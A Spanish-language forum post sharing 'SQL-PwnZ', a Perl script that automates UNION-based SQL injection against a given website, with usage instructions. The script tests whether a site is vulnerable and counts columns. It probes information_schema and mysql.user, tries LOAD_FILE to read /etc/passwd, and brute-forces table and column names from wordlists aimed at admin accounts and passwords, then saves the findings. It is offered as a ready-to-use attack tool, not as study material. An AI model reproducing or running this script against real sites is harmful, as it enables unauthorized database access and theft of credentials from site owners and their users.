Scanner Inyeccion SQL en Perl

Iniciado por dracko.rx, Febrero 25, 2010, 11:39:11 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Febrero 25, 2010, 11:39:11 AM Ultima modificación: Agosto 16, 2014, 10:26:42 AM por Expermicid
Código: text

#!/usr/bin/perl

###########################################################################################
#                           -[+]- SQL-PwnZ v1.1 | By Login-Root -[+]-                   ###
###########################################################################################

###########################################################################################
# [+] inf0:                                                                             ###
###########################################################################################
# Busca:                                                                                ###
# ======                                                                                ###
#  - Nº de columnas                                                                     ###       
#  - Information_Schema && MySQL.User                                                   ###
#  - LOAD_FILE                                                                          ###
#  - Tablas                                                                             ###                                               
#  - Columnas                                                                           ###
#                                                                                       ###
#  ...y guarda todo en un archivo de texto.                                             ###
#                                                                                       ###
###########################################################################################

###########################################################################################
# [+] Use:                                                                              ###
###########################################################################################
# perl sqlpwnz.pl [WEBSITE] [COLUMNS] [FILE] [COMENTARIO] [-T] [-C] [-NOCHECK]          ###
#   [WEBSITE]: [url]http://www.web.com/index.php?id=[/url]                                         ###
#   [COLUMNS]: Limite de columnas                                                       ###
#   [FILE]: Archivo donde guardar web vulnerable                                        ###
#   [COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)                             ###
#   [-T]: Intentar brutear tablas (Opcional)                                            ###
#   [-C]: Intentar brutear columnas (Opcional)                                          ###
#   [-NOCHECK]: No hacer el chequeo inicial (Opcional)                                  ###
###########################################################################################

###########################################################################################
# [+] c0ntact:                                                                          ###
###########################################################################################
# MSN:    [email][email protected][/email]                                                          ###
# Jabber: [email][email protected][/email]                                                             ###
# E-Mail: [email][email protected][/email]                                                       ###
###########################################################################################

###########################################################################################
# [+] sh0utz:                                                                           ###
###########################################################################################
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; VenoM ; InyeXion ; N3xtdoor      ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: [url]WWW.MITM.CL[/url] | [url]WWW.REMOTEEXECUTION.ORG[/url] | [url]WWW.DIOSDELARED.COM[/url]                    ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[2])
   {
       print "\n\n-[+]- SQL-PwnZ v1.1 | By Login-Root -[+]-\n=========================================";
       print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE] [COMENTARIO] [-T] [-C] [-NOCHECK]\n";
       print "\n[WEBSITE]: [url]http://www.web.com/index.php?id=\n[/url][COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n[COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)\n[-T]: Intentar brutear tablas (Opcional)\n[-C]: Intentar brutear columnas (Opcional)\n[-NOCHECK]: No hacer el chequeo inicial (Opcional)\n\n";
       exit (0);
   }
   
@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
     'name','names','nombre','nombres','usuarios','member','members','admin_table',
     'miembro','miembros','membername','admins','administrator',
     'administrators','passwd','password','passwords','pass','Pass',
     'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
     'member_password','mods','mod','moderators','moderator','user_email',
     'user_emails','user_mail','user_mails','mail','emails','email','address',
     'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
     'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
     'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
     'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
     'sistema_usuario','sistema_password','contrasena','auth','key','senha',
     'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
      'associated','accnt','customers','customer','membres','administrateur','utilisateur',
      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
     'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');

@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
          'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
          'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
          'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username','loginname','userright');

if ( $ARGV[0]   !~   /^http:/ )
  {
      $ARGV[0] = "http://" . $ARGV[0];
  }

if ($ARGV[3] =~ "--" || $ARGV[4] =~ "--" || $ARGV[5] =~ "--" || $ARGV[6] =~ "--")
{
   $cmn.= "+";
   $cfin.="--";
   print "\n[+] Comentarios a utilizar: '--' & '+'";   
}
else
{
   $cmn.= "/**/";
   $cfin.= "/*";
   print "\n[+] Comentarios a utilizar: '/*' & '/**/'";
}

open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
if ($ARGV[3] =~ "-NOCHECK" || $ARGV[4] =~ "-NOCHECK" || $ARGV[5] =~ "-NOCHECK" || $ARGV[6] =~ "-NOCHECK")
  {
      print "\n[!] Se omite el chequeo inicial...\n";
      print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
  }
else
  {
      print "\n[!] Chequeando si la web es vulnerable...\n";
      $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cfin;
      $response=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");
      if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ ||         $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/)
        {
            print "[+] Web vulnerable, continua el script...\n";
            print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
        }
        else
          {
            print "[-] Website aparentemente no vulnerable a SQL Inyection, intentar con otro comentario\n\n";
            exit(1);
          }
  }
print "\n[!] Buscando columnas...\n";
for ($column = 0 ; $column < $ARGV[1] ; $column ++)
{
   $union.=','.$column;
   $inyection.=','."0x6c6f67696e70776e7a";
    if ($column == 0)
      {
          print WEB "\n[COLUMNAS]:\n\n";
          $inyection = '';
          $union = '';
      }
    $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
    $response=get($sql)or die("[-] Error al intentar encontrar el numero de columnas, chequear website\n");
    if($response =~ /loginpwnz/)
      {
         $column ++;
         print "[+] La web posee $column columnas\n\n";
         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
         print "$sql\n";
         print WEB "$sql\n";
         print "\n[!] Chequeando si existe Information_Schema...";
         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
         $response=get($sql)or die("[-] Imposible obtener Information_Schema\n");
         if($response =~ /loginpwnz/)
            {
               print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";
            $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
            print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n";
               
            }
         else
            {
               print "\n[-] Information_Schema no disponible";
            }
         print "\n[!] Chequeando si existe MySQL.User...";
         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
         $response=get($sql)or die("[-] Imposible obtener MySQL.User\n");
         if($response =~ /loginpwnz/)
            {
               print "\n[+] MySQL.User disponible...guardando en $ARGV[2]";
               $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
               print WEB "\n\n[MYSQL.USER]:\n\n$sql\n";
               
            }
         else
            {
               print "\n[-] MySQL.User no disponible";
            }
   while ($loadcont < $column-1)
      {
      $loadfile.=','.'load_file(0x2f6574632f706173737764)';
      $loadcont++;
      }
   print "\n[!] Chequeando si es posible inyectar LOAD_FILE...";
        $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
   $response=get($sql)or die("[-] Imposible inyectar LOAD_FILE\n");
         if($response =~ /root:x:0:0/)
            {
               print "\n[+] LOAD_FILE disponible...guardando en $ARGV[2]";
               print WEB "\n\n[LOAD_FILE]:\n\nload_file(0x2f6574632f706173737764) => OK! (0x2f6574632f706173737764 => /etc/passwd)\n";
          }
         else
            {
               print "\n[-] LOAD_FILE no disponible";
            }
   if ($ARGV[3] =~ "-T" || $ARGV[4] =~ "-T" || $ARGV[5] =~ "-T" || $ARGV[6] =~ "-T")
            {
              print "\n\n[!] Bruteando tablas...";
              print WEB "\n\n[TABLAS]:\n\n";
              foreach $tabla(@nombretabla)
                {
                  chomp($tabla);
                  $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
                  $response=get($sql)or die("[-] Imposible obtener tablas\n");
                  if($response =~ /loginpwnz/)
                    {
                        print "\n[+] La tabla $tabla esta disponible...guardando en $ARGV[2]";
                        $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
                        print WEB "$sql\n";
                    }
                }
              }
        if ($ARGV[3] =~ "-C" || $ARGV[4] =~ "-C" || $ARGV[5] =~ "-C" || $ARGV[6] =~ "-C")
          {
             print "\n\n[!] Tabla a la cual brutear columnas: ";
            $tabla.=<STDIN>;
            chomp($tabla);
            print WEB "\n\n[COLUMNAS EN TABLA]: $tabla\n\n";
            foreach $columna(@nombrecolumna)
            {
             chomp($columna);
             $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
             $response=get($sql)or die("[-] Imposible obtener columnas\n");
             if ($response =~ /loginpwnz/)
                  {
                      print "\n[+] La columna $columna esta disponible...guardando en $ARGV[2]";
                      print WEB "$columna\n";
                  }
            }
        }
        print WEB "\n\n\n[*EOF*]";
        print "\n\n[+] Todo salvado correctamente en $ARGV[2]\n\n";
        print "## c0ded by Login-Root | 2008 ##\n\n";
        exit (0);
      }
}
print "[-] Imposible encontrar numero de columnas, intentar con mas columnas\n\n";
print "## c0ded by Login-Root | 2008 ##\n\n";
exit (0);


Uso:

Citarperl You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login numero de columnas archivo_guardar.txt -- -T -C

Citar-- = Comentarios
T= tablas
C=Columnas


Saludos =)

Fuente:IlegalIntrusion.net
Venta de diseños - Contactar por MP

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login